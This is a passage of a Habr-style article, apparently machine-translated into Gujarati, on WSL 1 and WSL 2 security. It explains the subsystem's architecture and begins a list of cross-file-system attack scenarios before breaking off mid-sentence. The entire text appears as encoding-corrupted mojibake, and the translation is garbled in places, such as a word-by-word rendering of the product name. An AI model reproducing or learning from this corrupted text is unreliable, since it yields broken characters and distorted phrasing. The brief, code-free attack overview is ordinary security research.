WSL เชชเซเชฐเชฏเซ‹เช—เซ‹. เชญเชพเช— 1

เชนเซ‡เชฒเซ‹, เชนเซ‡เชฌเชฐ! OTUS เช“เช•เซเชŸเซ‹เชฌเชฐเชฎเชพเช‚ เชเช• เชจเชตเซ‹ เช•เซ‹เชฐเซเชธ เชธเซเชŸเซเชฐเซ€เชฎ เชฒเซ‹เชจเซเชš เช•เชฐเซ‡ เช›เซ‡ "เชฒเชฟเชจเช•เซเชธ เชธเซเชฐเช•เซเชทเชพ". เช•เซ‹เชฐเซเชธเชจเซ€ เชถเชฐเซ‚เช†เชคเชจเซ€ เช…เชชเซ‡เช•เซเชทเชพเช, เช…เชฎเซ‡ เชคเชฎเชพเชฐเซ€ เชธเชพเชฅเซ‡ เช…เชฎเชพเชฐเชพ เชเช• เชถเชฟเช•เซเชทเช•, เชเชฒเซ‡เช•เซเชเชพเชจเซเชกเชฐ เช•เซ‹เชฒเซ‡เชธเซเชจเชฟเช•เซ‹เชต เชฆเซเชตเชพเชฐเชพ เชฒเช–เชพเชฏเซ‡เชฒ เชฒเซ‡เช– เชถเซ‡เชฐ เช•เชฐเซ€ เชฐเชนเซเชฏเชพ เช›เซ€เช.

WSL เชชเซเชฐเชฏเซ‹เช—เซ‹. เชญเชพเช— 1

2016 เชฎเชพเช‚, เชฎเชพเช‡เช•เซเชฐเซ‹เชธเซ‹เชซเซเชŸเซ‡ IT เชธเชฎเซเชฆเชพเชฏเชจเซ‡ เชจเชตเซ€ WSL เชŸเซ‡เช•เซเชจเซ‹เชฒเซ‹เชœเซ€ เชฐเชœเซ‚ เช•เชฐเซ€ เชนเชคเซ€ (Wเช‰เชฆเซเชฏเซ‹เช—เซ‹ SเชฎเชพเชŸเซ‡ เชฏเซเชฌเชธเชฟเชธเซเชŸเชฎ Linux), เชœเซ‡เชฃเซ‡ เชญเชตเชฟเชทเซเชฏเชฎเชพเช‚ เชธเชพเชฎเชพเชจเซเชฏ เช…เชจเซ‡ เช…เชฆเซเชฏเชคเชจ OS เชตเชชเชฐเชพเชถเช•เชฐเซเชคเชพเช“: เชตเชฟเชจเซเชกเซ‹เช เช…เชจเซ‡ เชฒเชฟเชจเช•เซเชธ เชเชฎ เชฌเช‚เชจเซ‡เชฎเชพเช‚ เชฒเซ‹เช•เชชเซเชฐเชฟเชฏเชคเชพ เชฎเชพเชŸเซ‡ เชฒเชกเชคเชพ เช…เช—เชพเช‰เชจเชพ เช…เชธเช‚เช—เชค เชธเซเชชเชฐเซเชงเช•เซ‹เชจเซ‡ เชเช• เช•เชฐเชตเชพเชจเซเช‚ เชถเช•เซเชฏ เชฌเชจเชพเชตเซเชฏเซเช‚. เช† เชŸเซ‡เช•เซเชจเซ‹เชฒเซ‹เชœเซ€เช Linux OS เชŸเซ‚เชฒเซเชธเชจเซ‡ Linux เชšเชฒเชพเชตเชตเชพเชจเซ€ เชœเชฐเซ‚เชฐ เชตเช—เชฐ Windows เชชเชฐเซเชฏเชพเชตเชฐเชฃเชฎเชพเช‚ เชตเชพเชชเชฐเชตเชพเชจเซเช‚ เชถเช•เซเชฏ เชฌเชจเชพเชตเซเชฏเซเช‚, เช‰เชฆเชพเชนเชฐเชฃ เชคเชฐเซ€เช•เซ‡, เชฎเชฒเซเชŸเชฟ-เชฌเซ‚เชŸเชจเซ‹ เช‰เชชเชฏเซ‹เช— เช•เชฐเซ€เชจเซ‡. Habr เชชเชฐ เชคเชฎเซ‡ WSL เชจเซ‹ เช‰เชชเชฏเซ‹เช— เช•เชฐเชตเชพเชจเชพ เชซเชพเชฏเชฆเชพเช“เชจเซเช‚ เชตเชฐเซเชฃเชจ เช•เชฐเชคเชพ เชฎเซ‹เชŸเซ€ เชธเช‚เช–เซเชฏเชพเชฎเชพเช‚ เชฒเซ‡เช–เซ‹ เชถเซ‹เชงเซ€ เชถเช•เซ‹ เช›เซ‹. เชœเซ‹ เช•เซ‡, เช•เชฎเชจเชธเซ€เชฌเซ‡, เช† เชฒเซ‡เช–เชจเซ€ เชฐเชšเชจเชพ เชธเชฎเชฏเซ‡, เช† เชธเช‚เชธเชพเชงเชจ เชชเชฐ เช“เชชเชฐเซ‡เชŸเชฟเช‚เช— เชธเชฟเชธเซเชŸเชฎเซเชธเชจเชพ เช†เชตเชพ เชธเชนเชœเซ€เชตเชจเชจเซ€ เชธเซเชฐเช•เซเชทเชพ เชชเชฐ เช•เซ‹เชˆ เช…เชญเซเชฏเชพเชธเซ‹ เชฎเชณเซเชฏเชพเช‚ เชจเชฅเซ€. เช† เชชเซ‹เชธเซเชŸเชฎเชพเช‚ เชคเซ‡เชจเซ‡ เชธเซเชงเชพเชฐเชตเชพเชจเซ‹ เชชเซเชฐเชฏเชพเชธ เช•เชฐเชตเชพเชฎเชพเช‚ เช†เชตเชถเซ‡. เชฒเซ‡เช– WSL 1 เช…เชจเซ‡ 2 เช†เชฐเซเช•เชฟเชŸเซ‡เช•เซเชšเชฐเชจเซ€ เชตเชฟเชถเซ‡เชทเชคเชพเช“ เชตเชฟเชถเซ‡ เชตเชพเชค เช•เชฐเชถเซ‡ เช…เชจเซ‡ เช† เชคเช•เชจเซ€เช•เซ‹เชจเซ‹ เช‰เชชเชฏเซ‹เช— เช•เชฐเซ€เชจเซ‡ เชธเชฟเชธเซเชŸเชฎเซ‹ เชชเชฐเชจเชพ เชนเซเชฎเชฒเชพเชจเชพ เช•เซ‡เชŸเชฒเชพเช• เช‰เชฆเชพเชนเชฐเชฃเซ‹เชจเซ€ เชคเชชเชพเชธ เช•เชฐเชถเซ‡. เชฒเซ‡เช– 2 เชญเชพเช—เซ‹เชฎเชพเช‚ เชตเชนเซ‡เช‚เชšเชพเชฏเซ‡เชฒเซ‹ เช›เซ‡. เชชเซเชฐเชฅเชฎ Linux เช…เชจเซ‡ Windows เชฎเชพเช‚เชฅเซ€ เชฎเซเช–เซเชฏ เชธเซˆเชฆเซเชงเชพเช‚เชคเชฟเช• เชนเซเชฎเชฒเซ‹ เชชเชฆเซเชงเชคเชฟเช“ เชชเซเชฐเชฆเชพเชจ เช•เชฐเชถเซ‡. เชฌเซ€เชœเชพ เชฒเซ‡เช–เชฎเชพเช‚ เชชเชฐเซ€เช•เซเชทเชฃ เชตเชพเชคเชพเชตเชฐเชฃ เช—เซ‹เช เชตเชตเซเช‚ เช…เชจเซ‡ เชนเซเชฎเชฒเชพเช“เชจเซเช‚ เชชเซเชจเชƒเช‰เชคเซเชชเชพเชฆเชจ เช•เชฐเชตเซเช‚ เชถเชพเชฎเซ‡เชฒ เชนเชถเซ‡.

WSL 1: เช†เชฐเซเช•เชฟเชŸเซ‡เช•เซเชšเชฐเชฒ เชธเซเชตเชฟเชงเชพเช“

WSL เชธเซเชฐเช•เซเชทเชพ เชฎเซเชฆเซเชฆเชพเช“เชฎเชพเช‚ เชธเซŒเชฅเซ€ เชธเชšเซ‹เชŸ เชกเชพเช‡เชต เชฎเชพเชŸเซ‡, เชธเชฌเชธเชฟเชธเซเชŸเชฎเชจเชพ เช…เชฎเชฒเซ€เช•เชฐเชฃ เชธเชพเชฅเซ‡ เชธเช‚เช•เชณเชพเชฏเซ‡เชฒ เชฎเซเช–เซเชฏ เช˜เซ‹เช‚เช˜เชพเชŸ เชจเช•เซเช•เซ€ เช•เชฐเชตเซ€ เชœเชฐเซ‚เชฐเซ€ เช›เซ‡. WSL เชฆเซเชตเชพเชฐเชพ เช‰เช•เซ‡เชฒเชตเชพเชฎเชพเช‚ เช†เชตเซ‡เชฒ เชฎเซเช–เซเชฏ เชตเชชเชฐเชพเชถเช•เชฐเซเชคเชพ เช•เชพเชฐเซเชฏเซ‹เชฎเชพเช‚เชจเซเช‚ เชเช• Windows OS เชšเชฒเชพเชตเชคเชพ เชนเซ‹เชธเซเชŸ เชชเชฐ Linux เชŸเชฐเซเชฎเชฟเชจเชฒ เชฆเซเชตเชพเชฐเชพ เช•เชพเชฎ เช•เชฐเชตเชพเชจเซ€ เช•เซเชทเชฎเชคเชพ เช›เซ‡. เช‰เชชเชฐเชพเช‚เชค, เช“เชซเชฐ เช•เชฐเชพเชฏเซ‡เชฒ เชธเซเชธเช‚เช—เชคเชคเชพ เชเชŸเชฒเซ€ เชฎเซ‚เชณ เชนเชคเซ€ เช•เซ‡ Linux เชเช•เซเชเชฟเช•เซเชฏเซเชŸเซ‡เชฌเชฒเซเชธ (ELFs) เชธเซ€เชงเชพ Windows เชธเชฟเชธเซเชŸเชฎ เชชเชฐ เชšเชฒเชพเชตเซ€ เชถเช•เชพเชฏ เช›เซ‡. เช† เชงเซเชฏเซ‡เชฏเซ‹ เชนเชพเช‚เชธเชฒ เช•เชฐเชตเชพ เชฎเชพเชŸเซ‡, Windows 10 เชฎเชพเช‚ เชเช• เชตเชฟเชถเซ‡เชท เชธเชฌเชธเชฟเชธเซเชŸเชฎ เชฌเชจเชพเชตเชตเชพเชฎเชพเช‚ เช†เชตเซ€ เชนเชคเซ€ เชœเซ‡ เชคเชฎเชจเซ‡ เชšเซ‹เช•เซเช•เชธ เชธเชฟเชธเซเชŸเชฎ เช•เซ‰เชฒเซเชธเชจเชพ เชธเซ‡เชŸเชจเซ‹ เช‰เชชเชฏเซ‹เช— เช•เชฐเซ€เชจเซ‡ Linux เชเชชเซเชฒเชฟเช•เซ‡เชถเชจ เชšเชฒเชพเชตเชตเชพเชจเซ€ เชฎเช‚เชœเซ‚เชฐเซ€ เช†เชชเซ‡ เช›เซ‡ - เช†เชฎ, Windows เชชเชฐ Linux syscallsเชจเชพ เชธเชฎเซ‚เชนเชจเซ‡ เชฎเซ‡เชช เช•เชฐเชตเชพเชจเซ‹ เชชเซเชฐเชฏเชพเชธ เช•เชฐเชตเชพเชฎเชพเช‚ เช†เชตเซเชฏเซ‹ เชนเชคเซ‹. เช† เชญเซŒเชคเชฟเช• เชฐเซ€เชคเซ‡ เชจเชตเชพ เชกเซเชฐเชพเช‡เชตเชฐเซ‹ เช…เชจเซ‡ เชจเชตเชพ เชชเซเชฐเช•เซเชฐเชฟเชฏเชพ เชซเซ‹เชฐเซเชฎเซ‡เชŸเชจเซ‡ เช‰เชฎเซ‡เชฐเซ€เชจเซ‡ เช…เชฎเชฒเชฎเชพเช‚ เชฎเซ‚เช•เชตเชพเชฎเชพเช‚ เช†เชตเซเชฏเซเช‚ เชนเชคเซเช‚. เชฆเซƒเชทเซเชŸเชฟเชจเซ€ เชฐเซ€เชคเซ‡ เช†เชฐเซเช•เชฟเชŸเซ‡เช•เซเชšเชฐ เช†เชจเชพ เชœเซ‡เชตเซเช‚ เชฆเซ‡เช–เชพเชคเซเช‚ เชนเชคเซเช‚:

WSL เชชเซเชฐเชฏเซ‹เช—เซ‹. เชญเชพเช— 1

เชนเช•เซ€เช•เชคเชฎเชพเช‚, Linux เช“เชชเชฐเซ‡เชŸเชฟเช‚เช— เชธเชฟเชธเซเชŸเชฎ เชธเชพเชฅเซ‡เชจเซ€ เช•เซเชฐเชฟเชฏเชพเชชเซเชฐเชคเชฟเช•เซเชฐเชฟเชฏเชพ เช•เซ‡เชŸเชฒเชพเช• เช•เชฐเซเชจเชฒ เชฎเซ‹เชกเซเชฏเซเชฒเซ‹ เช…เชจเซ‡ เชเช• เช–เชพเชธ เชชเซเชฐเช•เชพเชฐเชจเซ€ เชชเซเชฐเช•เซเชฐเชฟเชฏเชพ - เชชเซ€เช•เซ‹ เชฆเซเชตเชพเชฐเชพ เช—เซ‹เช เชตเชตเชพเชฎเชพเช‚ เช†เชตเซ€ เชนเชคเซ€. เช‰เชชเชฐเชจเชพ เช†เช•เซƒเชคเชฟเชฎเชพเช‚เชฅเซ€, เชคเชฎเซ‡ เชœเซ‹เชˆ เชถเช•เซ‹ เช›เซ‹ เช•เซ‡ เชนเซ‹เชธเซเชŸ เชชเชฐ Linux เชฆเชพเช–เชฒเชพ เชชเชฐ เชšเชพเชฒเชคเซ€ เชชเซเชฐเช•เซเชฐเชฟเชฏเชพ เชฎเซ‚เชณ เชนเซ‹เชตเซ€ เชœเซ‹เชˆเช เช…เชจเซ‡ เชจเชฟเชฏเชฎเชฟเชค เชตเชฟเชจเซเชกเซ‹เช เชเชชเซเชฒเชฟเช•เซ‡เชถเชจเซเชธ เชœเซ‡เชตเชพ เชœ เชธเช‚เชธเชพเชงเชจเซ‹เชจเซ‹ เช‰เชชเชฏเซ‹เช— เช•เชฐเชตเซ‹ เชœเซ‹เชˆเช. เชชเชฐเช‚เชคเซ เช† เช•เซ‡เชตเซ€ เชฐเซ€เชคเซ‡ เชชเซเชฐเชพเชชเซเชค เช•เชฐเชตเซเช‚? เชชเซเชฐเซ‹เชœเซ‡เช•เซเชŸเชฎเชพเช‚ เชกเซเชฐเซ‹เชฌเซเชฐเซ€เชœ เชตเชฟเชจเซเชกเซ‹เช เชฎเชพเชŸเซ‡ เชชเซเชฐเช•เซเชฐเชฟเชฏเชพเชจเซ€ เชตเชฟเชญเชพเชตเชจเชพเช“ เชตเชฟเช•เชธเชพเชตเชตเชพเชฎเชพเช‚ เช†เชตเซ€ เชนเชคเซ€ เชœเซ‡ เช…เชจเซเชฏ OS เชจเซ€ เชเชชเซเชฒเชฟเช•เซ‡เชถเชจ เชšเชฒเชพเชตเชตเชพ เชฎเชพเชŸเซ‡ เช“เชชเชฐเซ‡เชŸเชฟเช‚เช— เชธเชฟเชธเซเชŸเชฎเชจเชพ เชคเชฎเชพเชฎ เชœเชฐเซ‚เชฐเซ€ เช˜เชŸเช•เซ‹ (เชคเซ‡เชจเชพ เชธเช‚เชธเซเช•เชฐเชฃ เชชเชฐ เช†เชงเชพเชฐ เชฐเชพเช–เซ€เชจเซ‡) เชชเซเชฐเชฆเชพเชจ เช•เชฐเซ‡ เช›เซ‡.

เชจเซ‹เช‚เชง เช•เชฐเซ‹ เช•เซ‡ เชธเซ‚เชšเชฟเชค เช…เชฎเซ‚เชฐเซเชคเชคเชพเช เช“เชชเชฐเซ‡เชŸเชฟเช‚เช— เชธเชฟเชธเซเชŸเชฎ (เช–เชพเชธ เช•เชฐเซ€เชจเซ‡, เชตเชฟเชจเซเชกเซ‹เช) เชชเชฐ เชงเซเชฏเชพเชจ เช•เซ‡เชจเซเชฆเซเชฐเชฟเชค เชจ เช•เชฐเชตเชพเชจเซเช‚ เชถเช•เซเชฏ เชฌเชจเชพเชตเซเชฏเซเช‚, เชœเซ‡เชฎเชพเช‚ เช…เชจเซเชฏ OS เชจเซ€ เชชเซเชฐเช•เซเชฐเชฟเชฏเชพ เชถเชฐเซ‚ เชฅเชตเชพเชจเซ€ เช…เชชเซ‡เช•เซเชทเชพ เช›เซ‡, เช…เชจเซ‡ เชธเชพเชฎเชพเชจเซเชฏ เช…เชญเชฟเช—เชฎ เชธเซ‚เชšเชตเซเชฏเซ‹.

เช†เชฎ, เชชเชฟเช•เซ‹ เชชเซเชฐเช•เซเชฐเชฟเชฏเชพเชจเซ€ เช…เช‚เชฆเชฐเชจเซ€ เช•เซ‹เชˆเชชเชฃ เชเชชเซเชฒเชฟเช•เซ‡เชถเชจ เชตเชฟเชจเซเชกเซ‹เช เช•เชฐเซเชจเชฒเชจเซ‡ เชงเซเชฏเชพเชจเชฎเชพเช‚ เชฒเซ€เชงเชพ เชตเชฟเชจเชพ เชšเชพเชฒเซ€ เชถเช•เซ‡ เช›เซ‡:

  1. เชธเชฟเชธเซเชŸเชฎ เช•เซ‰เชฒเซเชธเชจเซ€ เชธเซเชธเช‚เช—เชคเชคเชพ เช…เชจเซ‡ เช…เชจเซเชตเชพเชฆเชจเซ€ เชธเชฎเชธเซเชฏเชพเช“ เช–เชพเชธ เชชเซเชฐเชฆเชพเชคเชพเช“ เชฆเซเชตเชพเชฐเชพ เช‰เช•เซ‡เชฒเชตเซ€ เช†เชตเชถเซเชฏเช• เช›เซ‡;
  2. เชเช•เซเชธเซ‡เชธ เช•เช‚เชŸเซเชฐเซ‹เชฒ เชธเชฟเช•เซเชฏเซเชฐเชฟเชŸเซ€ เชฎเซ‹เชจเชฟเชŸเชฐ เชฆเซเชตเชพเชฐเชพ เชฅเชตเซ‹ เชœเซ‹เชˆเช. เชฎเซ‹เชจเชฟเชŸเชฐ เช•เชฐเซเชจเชฒเชฎเชพเช‚ เชธเซเชฅเชฟเชค เช›เซ‡ เช…เชจเซ‡ เชคเซ‡เชฅเซ€ เชตเชฟเชจเซเชกเซ‹เชเชจเซ‡ เชจเชตเชพ เชกเซเชฐเชพเช‡เชตเชฐเชจเชพ เชฐเซ‚เชชเชฎเชพเช‚ เช…เชชเช—เซเชฐเซ‡เชกเชจเซ€ เชœเชฐเซ‚เชฐ เช›เซ‡ เชœเซ‡ เช†เชตเซ€ เชชเซเชฐเช•เซเชฐเชฟเชฏเชพเช“ เชฎเชพเชŸเซ‡ เชชเซเชฐเชฆเชพเชคเชพ เชคเชฐเซ€เช•เซ‡ เช•เชพเชฐเซเชฏ เช•เชฐเซ€ เชถเช•เซ‡. เชชเซเชฐเซ‹เชŸเซ‹เชŸเชพเช‡เชช เชชเซ€เช•เซ‹ เชชเซเชฐเช•เซเชฐเชฟเชฏเชพ เชจเซ€เชšเซ‡ เชฏเซ‹เชœเชจเชพเช•เซ€เชฏ เชฐเซ€เชคเซ‡ เชฐเชœเซ‚ เช•เชฐเชตเชพเชฎเชพเช‚ เช†เชตเซ€ เช›เซ‡:

WSL เชชเซเชฐเชฏเซ‹เช—เซ‹. เชญเชพเช— 1

Linux เชซเชพเช‡เชฒ เชธเชฟเชธเซเชŸเชฎ เช•เซ‡เชธ-เชธเซ‡เชจเซเชธเชฟเชŸเชฟเชต เชซเชพเช‡เชฒ เช…เชจเซ‡ เชกเชฟเชฐเซ‡เช•เซเชŸเชฐเซ€ เชจเชพเชฎเซ‹เชจเซ‹ เช‰เชชเชฏเซ‹เช— เช•เชฐเชคเซ€ เชนเซ‹เชตเชพเชฅเซ€, WSL - VolFS เช…เชจเซ‡ DriveFS เชธเชพเชฅเซ‡ เช•เชพเชฎ เช•เชฐเชตเชพ เชฎเชพเชŸเซ‡ Windows เชฎเชพเช‚ 2 เชชเซเชฐเช•เชพเชฐเชจเซ€ เชซเชพเช‡เชฒ เชธเชฟเชธเซเชŸเชฎ เช‰เชฎเซ‡เชฐเชตเชพเชฎเชพเช‚ เช†เชตเซ€ เชนเชคเซ€. VolFS เช Linux เชซเชพเช‡เชฒ เชธเชฟเชธเซเชŸเชฎเชจเซเช‚ เช…เชฎเชฒเซ€เช•เชฐเชฃ เช›เซ‡, DriveFS เช เชเช• เชซเชพเช‡เชฒ เชธเชฟเชธเซเชŸเชฎ เช›เซ‡ เชœเซ‡ Windows เชจเชฟเชฏเชฎเซ‹ เช…เชจเซเชธเชพเชฐ เช•เชพเชฎ เช•เชฐเซ‡ เช›เซ‡, เชชเชฐเช‚เชคเซ เช•เซ‡เชธ เชธเช‚เชตเซ‡เชฆเชจเชถเซ€เชฒเชคเชพ เชชเชธเช‚เชฆ เช•เชฐเชตเชพเชจเซ€ เช•เซเชทเชฎเชคเชพ เชงเชฐเชพเชตเซ‡ เช›เซ‡.

เชกเชฌเซเชฒเซเชฏเซเชเชธเชเชฒ 2

WSL 1 เชฎเชพเช‚ เชธเช‚เช–เซเชฏเชพเชฌเช‚เชง เชฎเชฐเซเชฏเชพเชฆเชพเช“ เชนเชคเซ€ เชœเซ‡เชฃเซ‡ เชคเซ‡เชจเซ‡ เชฎเชนเชคเซเชคเชฎ เชถเซเชฐเซ‡เชฃเซ€เชจเชพ เช•เชพเชฐเซเชฏเซ‹เชจเซ‡ เช‰เช•เซ‡เชฒเชตเชพ เชฎเชพเชŸเซ‡ เช‰เชชเชฏเซ‹เช—เชฎเชพเช‚ เชฒเซ‡เชตเชพเชจเซ€ เชฎเช‚เชœเซ‚เชฐเซ€ เช†เชชเซ€ เชจ เชนเชคเซ€: เช‰เชฆเชพเชนเชฐเชฃ เชคเชฐเซ€เช•เซ‡, เชคเซ‡เชจเซ€ เชชเชพเชธเซ‡ 32-เชฌเซ€เชŸ Linux เชเชชเซเชฒเชฟเช•เซ‡เชถเชจเซ‹ เชšเชฒเชพเชตเชตเชพเชจเซ€ เช•เซเชทเชฎเชคเชพ เชจเชฅเซ€, เช…เชจเซ‡ เช‰เชชเช•เชฐเชฃ เชกเซเชฐเชพเช‡เชตเชฐเซ‹เชจเซ‹ เช‰เชชเชฏเซ‹เช— เช•เชฐเชตเซ‹ เช…เชถเช•เซเชฏ เชนเชคเซเช‚. เชคเซ‡เชฅเซ€, 2020 เชฎเชพเช‚, WSL 2 เชฐเชฟเชฒเซ€เช เช•เชฐเชตเชพเชฎเชพเช‚ เช†เชตเซเชฏเซเช‚ เชนเชคเซเช‚, เชœเซ‡เชฃเซ‡ เชธเชฌเชธเชฟเชธเซเชŸเชฎ เชฌเชจเชพเชตเชตเชพเชจเซ‹ เช…เชญเชฟเช—เชฎ เชฌเชฆเชฒเซเชฏเซ‹ เชนเชคเซ‹. WSL 2 เช เชเช• เช‘เชชเซเชŸเชฟเชฎเชพเช‡เช เชตเชฐเซเชšเซเชฏเซเช…เชฒ เชฎเชถเซ€เชจ เช›เซ‡ เชœเซ‡ WSL 1 เชจเซ€ เชธเช‚เชธเชพเชงเชจ เชตเชชเชฐเชพเชถ เชฒเชพเช•เซเชทเชฃเชฟเช•เชคเชพเช“ เชธเชพเชฅเซ‡ เชฎเซ‡เชณ เช–เชพเชฏ เช›เซ‡. เชนเชตเซ‡, Windows OS เชตเชชเชฐเชพเชถเช•เชฐเซเชคเชพ เชฆเซเชตเชพเชฐเชพ เชนเชฒ เช•เชฐเชตเชพเชฎเชพเช‚ เช†เชตเซ‡เชฒเซ€ เชธเชฎเชธเซเชฏเชพเช“เชจเชพ เช†เชงเชพเชฐเซ‡, เชคเชฎเซ‡ Linux เชธเชฌเชธเชฟเชธเซเชŸเชฎเชจเซเช‚ เชœเชฐเซ‚เชฐเซ€ เชธเช‚เชธเซเช•เชฐเชฃ เชชเชธเช‚เชฆ เช•เชฐเซ€ เชถเช•เซ‹ เช›เซ‹. เชธเช‚เชญเชตเชฟเชค เชจเชฌเชณเชพเชˆเช“เชจเซ‡ เช˜เชŸเชพเชกเชตเชพ เชฎเชพเชŸเซ‡, WSL 2 เชจเซ‡ Windows 10 เชฎเชพเช‚ Hyper-V เชชเชฐ เช†เชงเชพเชฐเชฟเชค เช…เชฎเชฒเชฎเชพเช‚ เชฎเซ‚เช•เชตเชพเชฎเชพเช‚ เช†เชตเซเชฏเซเช‚ เชนเชคเซเช‚. เช† เชธเซเชตเชฐเซ‚เชชเชฎเชพเช‚, Windows เชชเชพเชธเซ‡ Linux เช‘เชชเชฐเซ‡เชŸเชฟเช‚เช— เชธเชฟเชธเซเชŸเชฎ เช•เชฐเซเชจเชฒเชจเซ‡ เชเช•เชฒเชคเชพเชฎเชพเช‚ เชšเชฒเชพเชตเชตเชพเชจเซ€ เช•เซเชทเชฎเชคเชพ เช›เซ‡. เชคเซ‡ เชฏเชพเชฆ เชฐเชพเช–เชตเซเช‚ เชฏเซ‹เช—เซเชฏ เช›เซ‡ เช•เซ‡ WSL เชจเซเช‚ เชตเชฐเซเชเชจ 1 เชฌเซ€เชŸเชพ เชซเซ€เชšเชฐ เชคเชฐเซ€เช•เซ‡ เชฐเชœเซ‚ เช•เชฐเชตเชพเชฎเชพเช‚ เช†เชตเซเชฏเซเช‚ เชนเชคเซเช‚ เชœเซ‡ เช† เชตเชฟเชธเซเชคเชพเชฐเชฎเชพเช‚ เชตเชฟเชจเซเชกเซ‹เช เชกเซ‡เชตเชฒเชชเชฎเซ‡เชจเซเชŸเชจเซ€ เชฆเชฟเชถเชพ เชฆเชฐเซเชถเชพเชตเชคเซเช‚ เชนเชคเซเช‚, เชคเซ‡เชฅเซ€ เชนเชพเชฏเชชเชฐ-เชตเซ€เชฎเชพเช‚ เชธเช‚เช•เซเชฐเชฎเชฃ เช…เชจเชฟเชตเชพเชฐเซเชฏ เชนเชคเซเช‚. เช…เช‚เชคเชฟเชฎ เช†เชฐเซเช•เชฟเชŸเซ‡เช•เซเชšเชฐ เช†เชจเชพ เชœเซ‡เชตเซเช‚ เชฒเชพเช—เซ‡ เช›เซ‡:

WSL เชชเซเชฐเชฏเซ‹เช—เซ‹. เชญเชพเช— 1

เช† เชธเช‚เชธเซเช•เชฐเชฃเชฎเชพเช‚, เชตเชฟเชจเซเชกเซ‹เช เช…เชจเซ‡ เชฒเชฟเชจเช•เซเชธ เช•เชฐเซเชจเชฒเซ‹เชจเชพ เชชเซ‹เชคเชพเชจเชพ เชธเช‚เชธเชพเชงเชจเซ‹ เช›เซ‡ เช…เชจเซ‡ เช†เช‚เชคเชฐเช›เซ‡เชฆ เชซเช•เซเชค เชซเชพเช‡เชฒ เชธเชฟเชธเซเชŸเชฎเชฎเชพเช‚ เชœ เช…เชธเซเชคเชฟเชคเซเชตเชฎเชพเช‚ เช›เซ‡, เชชเชฐเช‚เชคเซ เช† เช†เช‚เชคเชฐเช›เซ‡เชฆ เชชเซ‚เชฐเซเชฃ เชจเชฅเซ€. เชซเชพเช‡เชฒ เชธเชฟเชธเซเชŸเชฎเซ‹ เชตเชšเซเชšเซ‡เชจเซ€ เช•เซเชฐเชฟเชฏเชพเชชเซเชฐเชคเชฟเช•เซเชฐเชฟเชฏเชพ เช•เซเชฒเชพเชฏเช‚เชŸ-เชธเชฐเซเชตเชฐ เชฐเซ‡เชชเชฐ เชฆเซเชตเชพเชฐเชพ เชนเชพเชฅ เชงเชฐเชตเชพเชฎเชพเช‚ เช†เชตเซ‡ เช›เซ‡ เชœเซ‡ 9P เชชเซเชฐเซ‹เชŸเซ‹เช•เซ‹เชฒเชจเซ‹ เช‰เชชเชฏเซ‹เช— เช•เชฐเซ€เชจเซ‡ เช•เชพเชฐเซเชฏ เช•เชฐเซ‡ เช›เซ‡.

เช†เชœเซ‡ เชฎเชพเชˆเช•เซเชฐเซ‹เชธเซ‹เชซเซเชŸ WSL 1 เช…เชจเซ‡ WSL 2 เชตเชšเซเชšเซ‡ เชธเซเชตเชฟเชš เช•เชฐเชตเชพเชจเซ€ เช•เซเชทเชฎเชคเชพ เชชเซ‚เชฐเซ€ เชชเชพเชกเซ‡ เช›เซ‡. เชฌเช‚เชจเซ‡ เชตเชฐเซเชเชจ เช‰เชชเชฏเซ‹เช— เชฎเชพเชŸเซ‡ เช‰เชชเชฒเชฌเซเชง เช›เซ‡.

WSL เชธเซเชฐเช•เซเชทเชพ

เช† เช•เซเชทเชฃเซ‡, เชธเชฌเชธเชฟเชธเซเชŸเชฎเซเชธ เชตเชšเซเชšเซ‡เชจเชพ เชธเช‚เชฆเซ‡เชถเชพเชตเซเชฏเชตเชนเชพเชฐ เชชเชฐ เชนเซเชฎเชฒเซ‹ เช•เชฐเชตเชพ เชฎเชพเชŸเซ‡ เช•เชพเชฏเชฆเซ‡เชธเชฐ OS เชŸเซ‚เชฒเซเชธเชจเซ‹ เช‰เชชเชฏเซ‹เช— เช•เชฐเชตเชพเชจเชพ เช•เซ‡เชŸเชฒเชพเช• เช…เชญเชฟเช—เชฎเซ‹เชจเซเช‚ เชตเชฐเซเชฃเชจ เช•เชฐเชคเชพ เช˜เชฃเชพ เช•เชพเชฐเซเชฏเซ‹ เช›เซ‡. เชฒเซ‡เช–เชจ เชธเชฎเชฏเซ‡ เชนเซเชฎเชฒเชพเช“เชจเซ€ เชธเซเชธเช‚เช—เชคเชคเชพ เชšเช•เชพเชธเชตเชพ เชฎเชพเชŸเซ‡ เช…เชฎเซ‡ เชคเซ‡เชฎเชจเซ€ เชธเซเช•เซเชฐเชฟเชชเซเชŸเชจเซ‹ เช‰เชชเชฏเซ‹เช— เช•เชฐเซ€เชถเซเช‚. เชนเซเชฎเชฒเชพเช“ เช…เชจเซ‡ เชฆเซƒเชถเซเชฏเซ‹เชจเซ€ เชธเชพเชฎเชพเชจเซเชฏ เชธเซ‚เชšเชฟ:

1. เชซเชพเช‡เชฒ เชธเชฟเชธเซเชŸเชฎ เช…เชฎเชฒเซ€เช•เชฐเชฃ: เชเช•เซเชธเซ‡เชธ เช…เชงเชฟเช•เชพเชฐเซ‹, เชตเชนเซ‡เช‚เชšเชพเชฏเซ‡เชฒ เชกเชฟเชฐเซ‡เช•เซเชŸเชฐเซ€เช“/เชกเซ‡เชŸเชพ เชเช•เซเชธเชšเซ‡เชจเซเชœ เชฎเชฟเช•เซ‡เชจเชฟเชเชฎเซเชธเชจเซ€ เช‰เชชเชฒเชฌเซเชงเชคเชพ.

เชจเชพ เชเช•เซเชธเซ‡เชธ เชจเชฟเชฏเชฎเซ‹เชจเชพ เช‰เชฒเซเชฒเช‚เช˜เชจเชจเซ‡ เชจเชฟเชฐเซเชงเชพเชฐเชฟเชค เช•เชฐเชตเชพ เชฎเชพเชŸเซ‡ เชธเช‚เชถเซ‹เชงเชจ เชนเชพเชฅ เชงเชฐเชตเชพเชฎเชพเช‚ เช†เชตเซเชฏเซเช‚ เชนเชคเซเช‚ Linux FS->Windows FS, Windows FS->Linux FS. เชธเช‚เชถเซ‹เชงเชจเซ‡ เชฒเช•เซเชทเซเชฏ OS เชจเซ€ เช…เช‚เชฆเชฐ เช†เชชเซ‡เชฒ เชซเชพเช‡เชฒเชจเซ‡ เชธเช‚เชถเซ‹เชงเชฟเชค เช•เชฐเชตเชพเชจเซ€ เช•เซเชทเชฎเชคเชพ เชฆเชฐเซเชถเชพเชตเซ€ เช›เซ‡. เช…เชตเซ‡เชœเซ€, เชกเซเชชเซเชฒเชฟเช•เซ‡เชŸเซเชธ เชฌเชจเชพเชตเชตเชพ เช…เชจเซ‡ เชซเชพเชˆเชฒ เชธเชฟเชธเซเชŸเชฎเชจเชพ 